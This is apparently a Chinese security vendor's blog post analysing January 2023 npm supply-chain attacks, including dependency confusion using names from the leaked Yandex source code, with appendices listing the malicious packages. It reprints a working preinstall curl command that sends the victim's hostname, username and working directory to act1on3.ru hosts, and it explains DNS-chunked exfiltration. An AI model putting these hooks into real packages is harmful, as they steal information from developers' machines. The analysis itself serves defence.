在2023年刚开始的第一个月里,针对npm生态的软件供应链恶意攻击也在持续不断,通过奇安信技术研究院星图实验室研发的“天问”软件供应链安全分析平台对npm生态持续进行监测分析后,总共发现了537个npm恶意包。这其中包括一起利用数据泄露信息进行的大规模上传npm恶意包的新型攻击行为,以及其他持续不断的已知形式的供应链攻击行为。

利用Yandex泄漏的数据进行供应链攻击

2023年1月25日,俄罗斯科技巨头Yandex公司的源代码仓库数据被泄露,随后在1月27日,npm生态就出现了利用该泄露数据进行的供应链攻击。

Yandex是俄罗斯市场占有率最大的搜索引擎,该公司旗下产业涉及广泛,除了搜索引擎之外,还包含地图、打车、云服务、金融支付等等各个领域的软件应用(类似国内的百度)。

npm-data-leak-supply-chain-attack-img1

在此次泄露事件中,虽然没有相关的用户数据被泄露,但源代码仓库内的信息仍有可能被恶意攻击者利用。根据我们安全研究员的合理推测,攻击者应该是在分析了该代码仓库的内容后,找到了yandex公司内部使用的npm包名称,并对其进行了依赖混淆攻击。

例如,攻击者上传了名为@yandex-travel/ui@1.1.0的恶意包,从包名我们可以推断出该npm包应该存在于yandex公司内部使用的npm源中,在攻击者上传之前npm官方源(registry.npmjs.com)中并没有这个包。攻击者通过在官方源上传同名的npm软件包,以达到依赖混淆攻击的目的。

攻击者在短短两天时间内上传了428个利用了yandex内部npm库名称的恶意包,这些恶意包中都仅仅只包含一个package.json的文件,恶意代码直接嵌入在在该文件的preinstall字段中,如下图所示:

npm-data-leak-supply-chain-attack-img2

对文件内容增加换行和适当的缩进之后,详细的恶意script字段如下:

1
2
3
4
5
6
7
8
9
10
11
"scripts":{
"test":"echo \"Error: no test specified\" && exit 1",
"preinstall":"curl \
-H "Package: @yandex-travel/ui"
-H "Version: 1.1.0\"
-H "Hostname: $(hostname | base64)"
-H "Whoami: $(whoami | base64)"
-H "Pwd: $(pwd | base64)"
-d "meow! security test"
http://npm_org.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"
}

这段命令执行后会向远程服务地址发起一个HTTP请求,并在header中包含窃取的被攻击者机器上的敏感信息。这些内容包括:

  • 当前被安装包的名称
  • 当前被安装包的具体版本
  • 受害者机器的hostname,并被编码为base64
  • 受害者机器的当前登陆用户名,并被编码为base64
  • 受害者机器的当前工作目录,并被编码为base64

其他的npm包中也均为相同的代码,但其中远程请求的服务地址进行了一些改动,根据分析共发现5个用于接收数据的url地址。

1
2
3
4
5
"http://npm-frontend.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm-org.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm-new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm-taxi.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/"

除此之外,用于发布这些包的npm 账户也分为三个,详细情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"_npmUser" : {
"name" : "meow-test",
"email" : "act1on3-test@yandex.com" (共发布258个)
}

"_npmUser" : {
"name" : "act1on3-test",
"email" : "act1on3-test@yandex.ru" (共发布81个)
}

"_npmUser" : {
"name" : "security_act1on3_2",
"email" : "artemlogutov@yandex.com" (共发布89个)
},

最后,在此次攻击事件中所有利用的npm包名称及其版本号可见后文附录。

2023年1月其他供应链攻击事件

在2023年刚开始的一个月中,除了上述利用数据泄露进行的供应链攻击行为之外,其他之前常见的恶意攻击行为也在持续不断的发生着。“天问”软件供应链安全分析平台共捕获其他的npm恶意包109个,例如,在恶意npm包fi-connect@99.9.9中,攻击者利用DNS分片回传窃取的敏感信息,以达到更加隐蔽的传输目的。这在以往的npm恶意包分析中也遇到过,是一种常见的攻击者用来隐蔽回传信息的方式,感兴趣的朋友可以前往博客查看我们的历史文章。

npm-data-leak-supply-chain-attack-img3

在上面的代码中,攻击者首先利用一个http请求,从api.ipifly.org获取当前环境下的公网ip地址。然后通过执行代码拿到当前受害者机器上的用户名称、工作目录、主机名称等信息,将这些信息通过DNS解析间接传输给攻击者所控制的域名解析服务器来接收。

该恶意包对外查询DNS的请求形式如下(部分敏感数据已被隐藏):

1
2
3
4
5
6
7
8
vcbpk.4.22757365726e616d65223a22726f6f.smnfbb.com
vcbpk.5.74222c22686f73746e616d65223a22.smnfbb.com
vcbpk.0.7b227061636b6167656e616d65223a.smnfbb.com
vcbpk.1.2266692d636f6e6e656374222c2263.smnfbb.com
vcbpk.3.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.smnfbb.com
vcbpk.6.776f726b6572222c226970223a2222.smnfbb.com
vcbpk.2.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.smnfbb.com
vcbpk.7.7d00.smnfbb.com

将其中的数据部分拼接起来后得到:

1
7b227061636b6167656e616d65223a2266692d636f6e6e656374222c2263xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx22757365726e616d65223a22726f6f74222c22686f73746e616d65223a22776f726b6572222c226970223a22227d00

去掉末尾额外附加的两个0,再将该16进制编码转换为utf-8字符即可以获得原始发送的数据内容

1
2
3
4
5
6
7
{
"packagename": "fi-connect",
"cwd": xxxxxxxxxxxxxxxxx,
"username": "root",
"hostname": "worker",
"ip": ""
}

参考链接

附录

  • yandex泄露事件被利用的npm包名称及版本号(共428个)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
kroniko@1.1.2
kroniko@1.1.6
kroniko@1.33.7
yabox@4.1.0
yabox@4.1.7
yandex-cfg-env@2.1.1
yandex-cfg-env@2.3.17
divcard2@1.4.9
divcard2@2.2.1
divcard2@2.2.18
csp-preset-yastatic@0.1.0
csp-preset-yastatic@0.3.11
csp-preset-yastatic@1.3.37
express-http-geobase@3.11.1
express-http-geobase@4.0.0
express-http-langdetect@3.11.1
express-http-langdetect@4.0.0
@yandex-travel/eslint-config@0.0.7
@yandex-travel/eslint-config@0.3.13
@yandex-travel/eslint-config@1.0.1
@yandex-travel/ts-config@0.1.0
@yandex-travel/ci@1.1.0
@yandex-travel/ui@1.1.0
@yandex-travel/eslint-kit@1.1.0
@realty-front/codegen@1.0.0
@realty-front/codegen@1.13.1
@realty-front/eslint-plugin@1.0.0
@realty-front/eslint-plugin@1.13.1
@realty-front/stylelint-plugins@1.0.0
@realty-front/stylelint-plugins@1.13.1
@realty-front/dayjs@1.0.0
@realty-front/dayjs@1.13.1
@realty-front/payment-cards@1.0.0
@realty-front/payment-cards@1.13.1
@realty-front/dev-tools@1.0.0
@realty-front/dev-tools@1.13.1
@realty-front/icons@1.0.0
@realty-front/icons@1.13.1
@realty-front/jest-utils@1.0.0
@realty-front/jest-utils@1.13.1
@realty-front/webpack-utils@1.0.0
@realty-front/webpack-utils@1.13.1
@realty-front/ad@1.0.0
@realty-front/ad@1.13.1
@realty-front/ydb@1.0.0
@realty-front/ydb@1.13.1
@realty-front/zookeeper@1.0.0
@realty-front/zookeeper@1.13.1
@b2bgeo/run-if-changed@13.3.7
@b2bgeo/run-in-packages@13.3.7
@b2bgeo/configs@13.3.7
@b2bgeo/ci-s3@13.3.7
@b2bgeo/ci-startrek@13.3.7
@b2bgeo/tanker@13.3.7
@b2bgeo/utils@13.3.7
@b2bgeo/backend-api-types@13.3.7
@b2bgeo/frontend-server-api-types@13.3.7
@b2bgeo/yav@13.3.7
@b2bgeo/ci-aws@13.3.7
@b2bgeo/design-system@13.3.7
@b2bgeo/ci-github@13.3.7
@b2bgeo/map-icons@13.3.7
@b2bgeo/certs@13.3.7
vow-got@1.1.0
vow-got@1.18.1
vow-got@13.1.0
pino-deploy@0.0.1
pino-deploy@1.0.0
remove-docker-tag@1.0.0
remove-docker-tag@7.0.1
tslint-ymaps-rules@0.1.8
tslint-ymaps-rules@0.13.37
tslint-ymaps-rules@1.0.1
ymaps-tanker@1.4.0
ymaps-tanker@1.13.1
ymaps-tanker@2.0.1
ymaps-tanker@2.11.1
changelog-tool@0.3.0
changelog-tool@1.1.0
ymaps-api-response@2.0.0
ymaps-api-response@2.13.8
yandex-sanitizer@0.4.0
yandex-sanitizer@0.13.1
yandex-sanitizer@1.2.3
yandex-dch-up@3.2.0
yandex-dch-up@3.8.19
yandex-dch-up@4.10.1
mobile-auth-library-react-native@0.9.0
mobile-auth-library-react-native@1.3.8
yb-frontend-components@0.0.3
yb-frontend-components@0.0.18
yb-frontend-components@1.0.2
yb-frontend-utils@0.0.12
yb-frontend-utils@0.0.15
yb-frontend-utils@0.12.1
yb-frontend-utils@1.3.3
bunker-avatar@1.0.1
bunker-avatar@1.13.17
bunker-tjson@2.0.0
bunker-tjson@2.12.4
bem-mvc-direct@1.0.4
bem-mvc-direct@1.11.3
auto-issues@1.3.2
auto-issues@1.18.2
tanker-branch@0.4.0
tanker-branch@0.7.1
tanker-branch@1.3.2
tanker-pilot@1.4.0
tanker-pilot@1.8.1
tanker-pilot@3.1.3
react-wp-viewer@0.2.13
react-wp-viewer@1.2.12
yastatic-s3@0.1.8
yastatic-s3@1.0.8
meccano@2.0.1
meccano@3.1.3
tools-access-express@4.1.7
tools-access-express@4.8.7
tools-access-configs@0.0.8
tools-access-configs@0.1.7
tools-access-configs@1.0.1
tools-access-react@1.0.17
tools-access-react@1.3.17
tools-access-react-redux@1.1.11
tools-access-react-redux@1.3.33
tools-access-react-redux-router@2.0.15
tools-access-react-redux-router@2.10.1
tools-access-react-redux-router@3.1.1
eslint-config-promo@0.0.1
stylelint-config-promo@0.0.4
eslint-config-distribution@0.0.1
yasap-bump@1.0.9
yasap-bump@1.3.17
yasap-bump@3.1.37
yasap-cache@1.0.15
yasap-cache@1.1.8
yasap-cache@2.0.6
yasap-gulp-tools@1.4.15
yasap-gulp-tools@1.5.12
yasap-gulp-tools@1.13.1
yasap-gulp-tools@2.3.0
yasap-gulp-dev-tools@1.2.12
yasap-gulp-dev-tools@1.3.37
yasap-gulp-dev-tools@2.1.1
staff-lite@0.0.19
woofmd-to-bemjson@0.8.14
woofmd-to-bemjson@1.1.1
woofmd-to-bemjson@2.2.2
yappy_ts@0.0.1-suns-1418
portal-node-logger@1.0.9
portal-node-logger@1.2.1
portal-node-logger@1.12.21
portal-node-logger@2.7.1
express-yandex-send-limit@1.0.18
express-yandex-send-limit@1.7.1
express-yandex-send-limit@2.3.3
yandex-cssformat@1.1.11
yandex-cssformat@1.7.11
yandex-cssformat@2.7.0
yandex-sendsms@1.0.2
yandex-sendsms@1.0.14
yandex-sendsms@1.7.8
branch-to-cmsg@1.0.12
branch-to-cmsg@1.7.7
branch-to-cmsg@2.5.1
borschik-webp-internal@1.6.5
borschik-webp-internal@1.9.15
borschik-webp-internal@2.15.9
y-font-decoder@0.1.19
y-font-decoder@0.3.13
y-font-decoder@1.7.13
yandex-bro-embedded-site-api@1.0.21-hf1
eslint-plugin-yandex-morda-views@1.0.8
yandex-net@4.1.8
ufo-helpers@1.2.13
ufo-helpers@1.7.1
ufo-helpers@2.2.2
ufo-rocks2@3.84.1
ufo-rocks2@4.0.0
yt-test-reporter@1.1.0
yt-test-reporter@1.12.8
yt-test-reporter@2.9.3
express-tvm-nodejs4@2.0.2
express-tvm-nodejs4@2.7.1
express-tvm-nodejs4@3.3.7
hermione-login-plugin@0.1.7
hermione-login-plugin@0.12.8
hermione-login-plugin@1.4.5
sendbernar@0.9.2
sendbernar@0.9.28
sendbernar@1.1.0
domains-uglify@0.2.14
domains-uglify@0.16.1
domains-uglify@1.1.6
toloka-templates-deploy@1.0.25
toloka-templates-deploy@1.12.1
toloka-templates-deploy@2.2.1
issues-changelog-generator@1.10.18
issues-changelog-generator@2.11.8
route-converter@0.2.7
route-converter@0.2.18
route-converter@1.0.0
testpalm-api@0.8.9
testpalm-api@0.13.1
testpalm-api@1.4.16
y-dot@1.8.8
y-dot@1.8.16
y-dot@1.16.8
y-dot@2.7.3
vow-got@1.1.1
pino-deploy@0.0.2
remove-docker-tag@1.0.1
tslint-ymaps-rules@0.1.9
tslint-ymaps-rules@0.13.38
tslint-ymaps-rules@1.0.2
ymaps-tanker@1.4.1
ymaps-tanker@1.13.2
ymaps-tanker@2.0.2
ymaps-tanker@2.11.2
changelog-tool@0.3.1
ymaps-api-response@2.0.1
yandex-sanitizer@0.4.1
yandex-sanitizer@0.13.2
yandex-sanitizer@1.2.4
yandex-dch-up@3.2.1
yandex-dch-up@3.8.20
yandex-dch-up@4.10.2
mobile-auth-library-react-native@0.9.1
mobile-auth-library-react-native@1.3.9
yb-frontend-components@0.0.4
yb-frontend-components@0.0.19
yb-frontend-components@1.0.3
yb-frontend-utils@0.0.13
yb-frontend-utils@0.0.16
yb-frontend-utils@0.12.2
yb-frontend-utils@1.3.4
bunker-avatar@1.0.2
bunker-avatar@1.13.18
bunker-tjson@2.0.1
bem-mvc-direct@1.0.5
bem-mvc-direct@1.11.4
auto-issues@1.3.3
auto-issues@1.18.3
tanker-branch@0.4.1
tanker-branch@0.7.2
tanker-branch@1.3.3
tanker-pilot@1.4.1
tanker-pilot@1.8.2
tanker-pilot@3.1.4
react-wp-viewer@0.2.14
react-wp-viewer@1.2.13
yastatic-s3@0.1.9
meccano@2.0.2
tools-access-express@4.1.8
tools-access-configs@0.0.9
tools-access-react@1.0.18
tools-access-react-redux@1.1.12
tools-access-react-redux-router@2.0.16
tools-access-react-redux-router@2.10.2
tools-access-react-redux-router@3.1.2
eslint-config-promo@0.0.2
stylelint-config-promo@0.0.5
eslint-config-distribution@0.0.2
yasap-bump@1.0.10
yasap-cache@1.0.16
yasap-gulp-tools@1.4.16
yasap-gulp-tools@1.5.13
yasap-gulp-dev-tools@1.2.13
yasap-gulp-dev-tools@1.3.38
yasap-gulp-dev-tools@2.1.2
staff-lite@0.0.20
woofmd-to-bemjson@0.8.15
woofmd-to-bemjson@1.1.2
woofmd-to-bemjson@2.2.3
yappy_ts@0.0.2
portal-node-logger@1.0.10
portal-node-logger@1.2.2
express-yandex-send-limit@1.0.19
yandex-cssformat@1.1.12
yandex-cssformat@1.7.12
yandex-cssformat@2.7.1
yandex-sendsms@1.0.3
yandex-sendsms@1.0.15
yandex-sendsms@1.7.9
branch-to-cmsg@1.0.13
branch-to-cmsg@1.7.8
borschik-webp-internal@1.6.6
borschik-webp-internal@1.9.16
borschik-webp-internal@2.15.10
y-font-decoder@0.1.20
y-font-decoder@0.3.14
y-font-decoder@1.7.14
yandex-bro-embedded-site-api@1.0.22
eslint-plugin-yandex-morda-views@1.0.9
yandex-net@4.1.10
ufo-helpers@1.2.14
ufo-rocks2@3.84.2
yt-test-reporter@1.1.1
express-tvm-nodejs4@2.0.3
hermione-login-plugin@0.1.8
hermione-login-plugin@0.12.9
hermione-login-plugin@1.4.6
sendbernar@0.9.3
sendbernar@0.9.29
sendbernar@1.1.1
domains-uglify@0.2.15
domains-uglify@0.16.2
domains-uglify@1.1.7
toloka-templates-deploy@1.0.26
toloka-templates-deploy@1.12.2
toloka-templates-deploy@2.2.2
issues-changelog-generator@1.10.19
issues-changelog-generator@2.11.9
route-converter@0.2.8
route-converter@0.2.19
route-converter@1.0.1
testpalm-api@0.8.10
testpalm-api@0.13.2
y-dot@1.8.9
y-dot@1.8.17
y-dot@1.16.9
@yandex-travel/eslint-config@0.0.8
@yandex-travel/eslint-config@0.3.14
@yandex-travel/ts-config@0.1.1
@yandex-travel/ci@1.1.1
@yandex-travel/ui@1.1.1
@yandex-travel/eslint-kit@1.1.1
@realty-front/codegen@1.0.1
@realty-front/codegen@1.13.2
@realty-front/eslint-plugin@1.0.1
@realty-front/eslint-plugin@1.13.2
@realty-front/stylelint-plugins@1.0.1
@realty-front/dayjs@1.0.1
@realty-front/dayjs@1.13.2
@realty-front/payment-cards@1.0.1
@realty-front/payment-cards@1.13.2
@realty-front/dev-tools@1.0.1
@realty-front/dev-tools@1.13.2
@realty-front/icons@1.0.1
@realty-front/icons@1.13.2
@realty-front/jest-utils@1.0.1
@realty-front/jest-utils@1.13.2
@realty-front/webpack-utils@1.0.1
@realty-front/webpack-utils@1.13.2
@realty-front/ad@1.0.1
@realty-front/ad@1.13.2
@realty-front/ydb@1.0.1
@realty-front/ydb@1.13.2
@realty-front/zookeeper@1.0.1
@realty-front/zookeeper@1.13.2
@b2bgeo/run-if-changed@13.3.8
@b2bgeo/run-in-packages@13.3.8
@b2bgeo/configs@13.3.8
@b2bgeo/ci-s3@13.3.8
@b2bgeo/ci-startrek@13.3.8
@b2bgeo/tanker@13.3.8
@b2bgeo/utils@13.3.8
@b2bgeo/backend-api-types@13.3.8
@b2bgeo/frontend-server-api-types@13.3.8
@b2bgeo/yav@13.3.8
@b2bgeo/ci-aws@13.3.8
@b2bgeo/design-system@13.3.8
@b2bgeo/ci-github@13.3.8
@b2bgeo/certs@13.3.8
taxi-localization@5.0.18
taxi-localization@5.10.3
supchat-plugins@13.1.0
taxi-monitoring@0.0.13
postcss-file-match@0.0.7
postcss-file-match@0.8.3
postcss-file-match@1.3.7
yandex-logger-qloud@1.1.29
yandex-logger-qloud@1.3.37
yandex-logger-sentry@1.0.9
yandex-logger-sentry@1.3.37
yandex-logger-std@1.0.9
yandex-logger-std@1.3.37
simple-qloud-logger@0.1.21
simple-qloud-logger@1.0.3
tanker-ts-i18n@0.0.1
tanker-ts-i18n@0.0.7
tanker-ts-i18n@1.0.3
toolbox-bem-bundle@3.0.0
toolbox-bem-bundle@4.0.1
yandex-sendlinksms@2.0.5
yandex-sendlinksms@2.3.5
yandex-sendlinksms@3.3.0
delta-editor@1.1.2
delta-editor@1.7.2
middleware-idm-response@0.0.2
middleware-idm-response@0.3.3
tools-access-lego@0.0.1
node-gulp-tanker@1.0.14
node-gulp-tanker@1.8.1
staff-www@4.21.20
staff-www@4.30.38
staff-www@4.50.12
staff-www@5.0.0
images-inliner@1.0.0
mini-suggest@1.1.6
pdb-extensions@1.1.1
pdb-geobase@1.0.1
pdb-uatraits@1.2.0
yasap-lodash@1.7.1
afisha-ab@1.4.0
node-http-uatraits@2.0.0
web-suggest@1.3.8
web-suggest@2.0.21
skip-validator@1.1.0
searchband-frontend-assistant@4.1.2
bemhint.i18n@0.2.6
bemhint-plugins@0.5.12
karma-i-ua@0.1.6
karma-jasmine-i-global@0.1.6
karma-jasmine-i-global@0.7.32
karma-jasmine-i-request@0.1.6
karma-jasmine-i-request@0.6.21
karma-jquery2@0.1.9
karma-jquery2@0.5.34
karma-wait-for-load@0.1.8
karma-wait-for-load@0.5.34
lego-stuff@0.4.0
proxy-stub-utils@1.2.3
proxy-stub-utils@3.2.1
eslint-plugin-hermione-serp@1.0.0
fiji-svg-sprite@2.0.0
staff-api@1.0.3
staff-api@1.14.2
  • 2023年1月发现的其他恶意包(109个)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
customer-satisfaction-survey@12.0.0
market-apps-list@99.99.99
market-apps-list@100.99.99
market-apps-list@101.99.99
market-apps-list@101.100.99
portal-numbers@99.9.9
generic-ui-components@99.9.9
latitude-analytics@99.9.9
fi-connect@99.9.9
chrome-extension-message-relay@99.9.9
dropbox-internal-sdk@99.9.9
si-mfes-library@99.9.9
hsbc-pb-sdk@99.9.9
dropbox-internal-sdk@1.9.9
dropbox-internal-sdk@2.9.9
dropbox-internal-sdk@3.9.9
portal-numbers@1.9.9
portal-numbers@0.9.9
market-apps-list@102.102.100
agent-core@25.25.25
digitalsignaturecb@1.0.0
mvpeloassistantbackend@10.0.0
shared-gatsby-components@99.9.9
bsd-ui-utils@99.9.9
bsd-ui-utils@9.9.9
bsd-ui-utils@1.9.9
bsd-ui-utils@0.9.9
maw-fetch@0.9.9
maw-fetch@9.9.9
maw-fetch@99.9.9
maw-fetch@1.9.9
canopy-common-fo@99.9.9
evolve-runtime@99.9.9
rdi-ui@99.9.9
cu-dashboard-components@99.9.9
vasbro@1.0.0
samplejack@1.0.0
@jackbro/express-sessionm@1.0.0
macoshuntingyes@1.0.0
loveapple@1.0.0
loveslack@1.0.0
farbtastic@1.0.0
ic-types@1.83.0
ic-types@1.84.0
hpackeyboard-core@1.0.0
inter-frontend-svgs@3.2.8
inter-mobile-bridge@1.0.8
hw-web-bridge-app@0.1.0
bitbank-api-docs@1.0.0
she-c@2.2.7
she-c@2.2.8
northstar_domain@1.14.3
northstar_domain@1.14.4
northstar_domain@2.0.3
tada-components@99.99.100
@mydatamodels/tada-components@99.99.100
offsec-depender@1.0.1
@mydatamodels/tada-components@99.99.101
@mydatamodels/tada-components@99.99.102
offsec-dep-test@1.0.1
store-js-sdk@1.0.0
store-js-sdk@1.0.1
bjss-atp-web@9.0.0
bjss-atp-web@9.0.1
usaa-a11y-test@1.0.0
bjss-atp-web@9.0.2
usaa-breadcrumbs@1.0.0
web-dep-conf@1.0.0
dependdency@1.0.0
packagebyme@1.0.0
conf-dep-test@2.0.0
web-flipper@1.0.0
docusaurus-2-facebook-template@4.0.0-alpha.1
uitk-build-tasks@10.0.0
bjss-atp-web@9.0.3
@hyperion-util/script-loader@77.77.78
@hyperion-util/deferred-value@77.77.78
@hyperion-util/cookies@77.77.79
@hyperion-util/deferred-value@77.77.79
@hyperion-util/script-loader@77.77.79
gatorcomponents@99.9.9
gatorcomponents@0.9.9
gatorcomponents@1.9.9
gatorcomponents@2.9.9
gatorcomponents@3.9.9
gatorcomponents@4.9.9
gatorcomponents@5.9.9
gatorcomponents@6.9.9
gatorcomponents@7.9.9
malicious-package-name@100.0.0
testtestkakakalala@100.99.99
testtestkakakalala@101.99.99
ban-notifier1@1.0.0
ban-notifier2@1.0.0
ban-notifier@1.0.0
links-3@9.0.1
documentation-ably-realtime@1.0.2
gatorcomponents@99.9.10
donuts.node-build@99.99.100
donuts.node-build@99.99.101
donuts.node-build@99.99.102
donuts.node-build@99.99.103
donuts.node-build@99.99.104
nayduck@99.99.99
tokenlon-v5-subgraph@99.99.99
climate-warehouse@99.99.99
zsbpwebsdk@9999.9.9
zsbpsdk@99999.9.9
falsepositivecheck6969@9999.9.9